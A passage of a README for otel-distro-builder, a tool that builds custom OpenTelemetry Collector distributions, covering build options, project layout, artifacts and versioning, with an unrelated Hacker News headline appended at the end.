make build output_dir=./artifacts ocb_version=0.121.0 go_version=1.22.1 supervisor_version=0.122.0

Options:

  • -m : Path to manifest file (required)
  • -o : Directory to store build artifacts (default: ./artifacts)
  • -v : OpenTelemetry Collector Builder version (default: auto-detected from manifest)
  • -g : Go version to use for building (default: 1.24.1)

The artifacts will be saved to the specified output directory (default: ./artifacts ).

📁 Project Structure

otel-distro-builder/
├── builder/                # Builder application
│   ├── src/               # Core builder code
│   ├── templates/         # Build templates
│   ├── tests/            # Test suite
│   └── Dockerfile        # Builder image definition
├── action/                # GitHub Action
├── scripts/              # Build scripts
└── Makefile              # Development commands

🔧 Build Process

  1. Builder Image Preparation : Build and push to registry
  2. Manifest Processing : Upload and validate manifest configuration
  3. Build Execution :
    • Download OpenTelemetry Collector Builder (OCB)
    • Generate Go source files
    • Build platform-specific packages
    • Create SBOMs and checksums
  4. Artifact Management : Upload to GitHub, Google Cloud Storage, or save locally

📦 Build Artifacts

The builder produces:

  • 📦 Binary packages (APK, DEB, RPM)
  • 📚 Source tarball
  • 🔧 Raw binary
  • 📋 SBOM files
  • 🔍 Checksums
  • 📝 Build metadata

Storage Locations

  • Local builds : ./artifacts directory
  • Cloud builds : gs://<bucket>/<build_id>/

🔢 Versioning

We follow semantic versioning. The builder is available in several forms:

  • GitHub Action: Use @v1 for latest 1.x version, or @v1.0.5 for specific versions
  • Docker Image: Use main for latest, or version tags like v1.0.5
  • Container Registry: ghcr.io/observiq/otel-distro-builder:main or ghcr.io/observiq/otel-distro-builder:v1.0.5

📚 Examples

Check out our example workflows in .github/workflows/examples/ for common use cases:

  • Multi-platform builds
  • Container publishing
  • Custom package configurations

🤝 Contributing

We welcome contributions! Please see our Contributing Guide for details.

📄 License

This project is licensed under the Apache 2.0 License - see the LICENSE file for details.


Made with ❤️ by the Bindplane team

Kilauea erupts, destroying webcam [video]

Hacker News
www.youtube.com
2025-12-06 23:39:02
Comments...